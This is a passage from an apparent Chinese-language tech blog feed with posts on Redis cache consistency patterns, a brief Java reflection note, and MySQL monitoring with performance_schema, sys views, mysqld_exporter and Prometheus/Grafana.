class="keyword">return</span> redis.get(<span class="string">&quot;data:&quot;</span> + id);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            rwLock.readLock().unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">write</span><span class="params">(Data data)</span> &#123;</span><br><span class="line">        rwLock.writeLock().lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            db.update(data);</span><br><span class="line">            redis.del(<span class="string">&quot;data:&quot;</span> + data.getId());</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            rwLock.writeLock().unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、特殊场景处理"><a href="#五、特殊场景处理" class="headerlink" title="五、特殊场景处理"></a>五、特殊场景处理</h2><p>#</p><h2 id="5-1-主从延迟下的缓存"><a href="#5-1-主从延迟下的缓存" class="headerlink" title="5.1 主从延迟下的缓存"></a>5.1 主从延迟下的缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Data <span class="title function_">getData</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> redis.get(<span class="string">&quot;data:&quot;</span> + id);</span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> data;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 读主库（避免从库延迟）</span></span><br><span class="line">    data = masterDB.queryById(id);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="comment">// 设置较短的过期时间</span></span><br><span class="line">        redis.set(<span class="string">&quot;data:&quot;</span> + id, data, <span class="number">30</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-缓存穿透"><a href="#5-2-缓存穿透" class="headerlink" title="5.2 缓存穿透"></a>5.2 缓存穿透</h2><p><strong>问题</strong>：查询不存在的数据，每次都打到数据库</p><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Data <span class="title function_">getData</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">cacheKey</span> <span class="operator">=</span> <span class="string">&quot;data:&quot;</span> + id;</span><br><span class="line">    <span class="type">String</span> <span class="variable">nullKey</span> <span class="operator">=</span> cacheKey + <span class="string">&quot;:null&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 1. 读缓存</span></span><br><span class="line">    <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> redis.get(cacheKey);</span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> data;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 检查空值缓存（防止穿透）</span></span><br><span class="line">    <span class="keyword">if</span> (redis.hasKey(nullKey)) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 3. 读数据库</span></span><br><span class="line">    data = db.queryById(id);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        redis.set(cacheKey, data, <span class="number">3600</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 缓存空值，短时间过期</span></span><br><span class="line">        redis.set(nullKey, <span class="string">&quot;&quot;</span>, <span class="number">60</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-缓存击穿"><a href="#5-3-缓存击穿" class="headerlink" title="5.3 缓存击穿"></a>5.3 缓存击穿</h2><p><strong>问题</strong>：热点key过期瞬间，大量请求打到数据库</p><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Data <span class="title function_">getData</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">cacheKey</span> <span class="operator">=</span> <span class="string">&quot;data:&quot;</span> + id;</span><br><span class="line">    </span><br><span class="line">    <span class="type">Data</span> <span class="variable">data</span> <span class="operator">=</span> redis.get(cacheKey);</span><br><span class="line">    <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> data;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 加分布式锁，只有一个线程去加载</span></span><br><span class="line">    <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:&quot;</span> + cacheKey);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!lock.tryLock(<span class="number">3</span>, <span class="number">10</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">            <span class="comment">// 获取锁失败，短暂等待后重试</span></span><br><span class="line">            Thread.sleep(<span class="number">100</span>);</span><br><span class="line">            <span class="keyword">return</span> getData(id);  <span class="comment">// 递归重试</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 双重检查</span></span><br><span class="line">        data = redis.get(cacheKey);</span><br><span class="line">        <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> data;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        data = db.queryById(id);</span><br><span class="line">        <span class="keyword">if</span> (data != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.set(cacheKey, data, <span class="number">3600</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        Thread.currentThread().interrupt();</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> data;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-缓存雪崩"><a href="#5-4-缓存雪崩" class="headerlink" title="5.4 缓存雪崩"></a>5.4 缓存雪崩</h2><p><strong>问题</strong>：大量key同时过期，数据库压力突增</p><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setData</span><span class="params">(String key, Data data)</span> &#123;</span><br><span class="line">    <span class="comment">// 随机过期时间，避免同时过期</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">expireTime</span> <span class="operator">=</span> <span class="number">3600</span> + ThreadLocalRandom.current().nextInt(<span class="number">300</span>);</span><br><span class="line">    redis.set(key, data, expireTime);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>方案</th><th>一致性</th><th>复杂度</th><th>性能</th><th>推荐场景</th></tr></thead><tbody><tr><td>Cache Aside</td><td>最终一致</td><td>低</td><td>高</td><td>大多数场景</td></tr><tr><td>延迟双删</td><td>最终一致</td><td>中</td><td>高</td><td>读多写少</td></tr><tr><td>MQ + 删除</td><td>最终一致</td><td>中</td><td>高</td><td>高可靠要求</td></tr><tr><td>Canal + 删除</td><td>最终一致</td><td>中</td><td>高</td><td>无侵入要求</td></tr><tr><td>分布式锁</td><td>强一致</td><td>高</td><td>低</td><td>强一致要求</td></tr></tbody></table><p>缓存一致性设计原则：</p><ol><li><strong>优先使用Cache Aside</strong>：简单高效，适合绝大多数场景</li><li><strong>写操作删除缓存，不是更新缓存</strong>：避免并发覆盖</li><li><strong>处理删除失败</strong>：重试、MQ、Canal兜底</li><li><strong>设置合理过期时间</strong>：最终一致的保障</li><li><strong>热点数据永不过期</strong>：后台异步更新</li></ol><p>核心认识：</p><ul><li>缓存和数据库的强一致性很难保证</li><li>追求强一致性会大幅降低性能</li><li>大多数业务场景下，最终一致性已足够</li><li>设置合适的过期时间是最终一致性的”兜底”保障</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-反射的使用场景和风险"><a href="#Java-反射的使用场景和风险" class="headerlink" title="Java 反射的使用场景和风险"></a>Java 反射的使用场景和风险</h1><p>Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。</p><h2 id="学习方式"><a href="#学习方式" class="headerlink" title="学习方式"></a>学习方式</h2><p>先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Demo</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实践建议"><a href="#实践建议" class="headerlink" title="实践建议"></a>实践建议</h2><p>不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL监控与性能指标</title>
      <link href="//mysql-monitoring-metrics/"/>
      <url>//mysql-monitoring-metrics/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL监控与性能指标"><a href="#MySQL监控与性能指标" class="headerlink" title="MySQL监控与性能指标"></a>MySQL监控与性能指标</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、监控维度"><a href="#一、监控维度" class="headerlink" title="一、监控维度"></a>一、监控维度</h2><p>#</p><h2 id="1-1-四个黄金指标"><a href="#1-1-四个黄金指标" class="headerlink" title="1.1 四个黄金指标"></a>1.1 四个黄金指标</h2><table><thead><tr><th>维度</th><th>指标</th><th>说明</th></tr></thead><tbody><tr><td>吞吐量</td><td>QPS/TPS</td><td>每秒查询/事务数</td></tr><tr><td>延迟</td><td>查询响应时间</td><td>SQL执行耗时</td></tr><tr><td>错误</td><td>慢查询/错误率</td><td>性能问题和异常</td></tr><tr><td>饱和度</td><td>连接数/CPU/IO</td><td>资源使用程度</td></tr></tbody></table><p>#</p><h2 id="1-2-监控层次"><a href="#1-2-监控层次" class="headerlink" title="1.2 监控层次"></a>1.2 监控层次</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────┐</span><br><span class="line">│  业务层：慢查询、错误率、响应时间      │</span><br><span class="line">├─────────────────────────────────────┤</span><br><span class="line">│  实例层：QPS、连接数、复制状态         │</span><br><span class="line">├─────────────────────────────────────┤</span><br><span class="line">│  存储层：磁盘IO、Buffer Pool命中率    │</span><br><span class="line">├─────────────────────────────────────┤</span><br><span class="line">│  系统层：CPU、内存、网络、磁盘         │</span><br><span class="line">└─────────────────────────────────────┘</span><br></pre></td></tr></table></figure><h2 id="二、核心性能指标"><a href="#二、核心性能指标" class="headerlink" title="二、核心性能指标"></a>二、核心性能指标</h2><p>#</p><h2 id="2-1-吞吐量指标"><a href="#2-1-吞吐量指标" class="headerlink" title="2.1 吞吐量指标"></a>2.1 吞吐量指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- QPS（每秒查询数）</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Queries&#x27;</span>;</span><br><span class="line"><span class="comment">-- QPS = (Queries2 - Queries1) / (time2 - time1)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- TPS（每秒事务数）</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Com_commit&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Com_rollback&#x27;</span>;</span><br><span class="line"><span class="comment">-- TPS = (Com_commit + Com_rollback) / 时间差</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 各类型SQL执行次数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Com_%&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-连接指标"><a href="#2-2-连接指标" class="headerlink" title="2.2 连接指标"></a>2.2 连接指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 当前连接数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Threads_connected&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 活跃连接数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Threads_running&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 历史最大连接数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Max_used_connections&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 连接创建数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Connections&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 连接缓存命中率</span></span><br><span class="line"><span class="comment">-- Threads_created / Connections 应接近0</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-查询缓存指标（MySQL-8-0已移除）"><a href="#2-3-查询缓存指标（MySQL-8-0已移除）" class="headerlink" title="2.3 查询缓存指标（MySQL 8.0已移除）"></a>2.3 查询缓存指标（MySQL 8.0已移除）</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 仅适用于MySQL 5.7及之前</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Qcache%&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-InnoDB指标"><a href="#2-4-InnoDB指标" class="headerlink" title="2.4 InnoDB指标"></a>2.4 InnoDB指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- Buffer Pool命中率</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_buffer_pool_read_requests&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_buffer_pool_reads&#x27;</span>;</span><br><span class="line"><span class="comment">-- 命中率 = 1 - reads / read_requests</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 行操作统计</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_rows_%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 锁等待</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_row_lock_waits&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_row_lock_time_avg&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- Buffer Pool页状态</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_buffer_pool_pages_%&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 日志写入</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_log_waits&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Innodb_os_log_fsyncs&#x27;</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-复制指标"><a href="#2-5-复制指标" class="headerlink" title="2.5 复制指标"></a>2.5 复制指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 从库延迟</span></span><br><span class="line"><span class="keyword">SHOW</span> SLAVE STATUS \G;</span><br><span class="line"><span class="comment">-- Seconds_Behind_Master</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- IO线程状态</span></span><br><span class="line"><span class="comment">-- Slave_IO_Running: Yes</span></span><br><span class="line"><span class="comment">-- Slave_SQL_Running: Yes</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 主库binlog位置</span></span><br><span class="line"><span class="keyword">SHOW</span> MASTER STATUS;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-6-慢查询指标"><a href="#2-6-慢查询指标" class="headerlink" title="2.6 慢查询指标"></a>2.6 慢查询指标</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 慢查询次数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Slow_queries&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 全表扫描次数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Select_scan&#x27;</span>;</span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Select_full_join&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 创建临时表次数</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">GLOBAL</span> STATUS <span class="keyword">LIKE</span> <span class="string">&#x27;Created_tmp_%&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="三、Performance-Schema监控"><a href="#三、Performance-Schema监控" class="headerlink" title="三、Performance Schema监控"></a>三、Performance Schema监控</h2><p>#</p><h2 id="3-1-开启配置"><a href="#3-1-开启配置" class="headerlink" title="3.1 开启配置"></a>3.1 开启配置</h2><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line"><span class="section">[mysqld]</span></span><br><span class="line"><span class="attr">performance_schema</span> = <span class="literal">ON</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-常用查询"><a href="#3-2-常用查询" class="headerlink" title="3.2 常用查询"></a>3.2 常用查询</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看最耗时的SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    DIGEST_TEXT <span class="keyword">AS</span> query,</span><br><span class="line">    COUNT_STAR <span class="keyword">AS</span> exec_count,</span><br><span class="line">    AVG_TIMER_WAIT <span class="operator">/</span> <span class="number">1000000000000</span> <span class="keyword">AS</span> avg_time_sec,</span><br><span class="line">    MAX_TIMER_WAIT <span class="operator">/</span> <span class="number">1000000000000</span> <span class="keyword">AS</span> max_time_sec,</span><br><span class="line">    SUM_ROWS_SENT <span class="keyword">AS</span> total_rows_sent,</span><br><span class="line">    SUM_ROWS_EXAMINED <span class="keyword">AS</span> total_rows_examined</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.events_statements_summary_by_digest</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> SUM_TIMER_WAIT <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看表IO统计</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    OBJECT_SCHEMA,</span><br><span class="line">    OBJECT_NAME,</span><br><span class="line">    COUNT_READ,</span><br><span class="line">    COUNT_WRITE,</span><br><span class="line">    SUM_NUMBER_OF_BYTES_READ,</span><br><span class="line">    SUM_NUMBER_OF_BYTES_WRITE</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.table_io_waits_summary_by_table</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> SUM_TIMER_WAIT <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">10</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看锁等待</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    OBJECT_SCHEMA,</span><br><span class="line">    OBJECT_NAME,</span><br><span class="line">    COUNT_READ,</span><br><span class="line">    COUNT_WRITE,</span><br><span class="line">    SUM_TIMER_WAIT</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.table_lock_waits_summary_by_table</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> SUM_TIMER_WAIT <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看文件IO</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    EVENT_NAME,</span><br><span class="line">    COUNT_READ,</span><br><span class="line">    COUNT_WRITE,</span><br><span class="line">    SUM_NUMBER_OF_BYTES_READ,</span><br><span class="line">    SUM_NUMBER_OF_BYTES_WRITE</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.file_summary_by_event_name</span><br><span class="line"><span class="keyword">WHERE</span> EVENT_NAME <span class="keyword">LIKE</span> <span class="string">&#x27;%innodb%&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> SUM_TIMER_WAIT <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">10</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-线程监控"><a href="#3-3-线程监控" class="headerlink" title="3.3 线程监控"></a>3.3 线程监控</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看当前线程</span></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line">    THREAD_ID,</span><br><span class="line">    NAME,</span><br><span class="line">    PROCESSLIST_ID,</span><br><span class="line">    PROCESSLIST_USER,</span><br><span class="line">    PROCESSLIST_HOST,</span><br><span class="line">    PROCESSLIST_DB,</span><br><span class="line">    PROCESSLIST_COMMAND,</span><br><span class="line">    PROCESSLIST_STATE,</span><br><span class="line">    PROCESSLIST_TIME,</span><br><span class="line">    PROCESSLIST_INFO</span><br><span class="line"><span class="keyword">FROM</span> performance_schema.threads</span><br><span class="line"><span class="keyword">WHERE</span> TYPE <span class="operator">=</span> <span class="string">&#x27;FOREGROUND&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> PROCESSLIST_TIME <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h2 id="四、sys系统库"><a href="#四、sys系统库" class="headerlink" title="四、sys系统库"></a>四、sys系统库</h2><p>MySQL 5.7+ 提供的便捷视图：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 查看最慢的SQL（格式化后）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.statements_with_full_table_scans;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看执行时间最长的SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.statements_with_runtimes_in_95th_percentile;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看IO最多的表</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.io_global_by_file_by_bytes;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看使用临时表最多的SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.statements_with_temp_tables;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看未使用索引的SQL</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.statements_with_full_table_scans;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看InnoDB锁等待</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.innodb_lock_waits;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 查看主机摘要</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.host_summary;</span><br></pre></td></tr></table></figure><h2 id="五、Prometheus-Grafana监控"><a href="#五、Prometheus-Grafana监控" class="headerlink" title="五、Prometheus + Grafana监控"></a>五、Prometheus + Grafana监控</h2><p>#</p><h2 id="5-1-mysqld-exporter"><a href="#5-1-mysqld-exporter" class="headerlink" title="5.1 mysqld_exporter"></a>5.1 mysqld_exporter</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 下载安装</span></span><br><span class="line">wget https://github.com/prometheus/mysqld_exporter/releases/download/v0.15.0/mysqld_exporter-0.15.0.linux-amd64.tar.gz</span><br><span class="line">tar xzf mysqld_exporter-*.tar.gz</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建MySQL监控账号</span></span><br><span class="line">CREATE USER <span class="string">&#x27;exporter&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span> IDENTIFIED BY <span class="string">&#x27;password&#x27;</span>;</span><br><span class="line">GRANT PROCESS, REPLICATION CLIENT, SELECT ON *.* TO <span class="string">&#x27;exporter&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置</span></span><br><span class="line"><span class="built_in">cat</span> &gt; ~/.my.cnf &lt;&lt;<span class="string">EOF</span></span><br><span class="line"><span class="string">[client]</span></span><br><span class="line"><span class="string">user=exporter</span></span><br><span class="line"><span class="string">password=password</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动</span></span><br><span class="line">./mysqld_exporter --config.my-cnf=~/.my.cnf</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-Prometheus配置"><a href="#5-2-Prometheus配置" class="headerlink" title="5.2 Prometheus配置"></a>5.2 Prometheus配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment"># prometheus.yml</span></span><br><span class="line"><span class="attr">scrape_configs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">&#x27;mysql&#x27;</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span> [<span class="string">&#x27;localhost:9104&#x27;</span>]</span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">instance:</span> <span class="string">&#x27;mysql-prod-01&#x27;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-Grafana仪表盘"><a href="#5-3-Grafana仪表盘" class="headerlink" title="5.3 Grafana仪表盘"></a>5.3 Grafana仪表盘</h2><p>导入MySQL监控Dashboard（ID: 7362 或 11323）：</p><p>核心面板：</p><ul><li>MySQL Uptime</li><li>Current QPS</li><li>Connections</li><li>Active Threads</li><li>Slow Queries</li><li>Replication Lag</li><li>Buffer Pool Hit Ratio</li></ul><p>#</p><h2 id="5-4-告警规则"><a 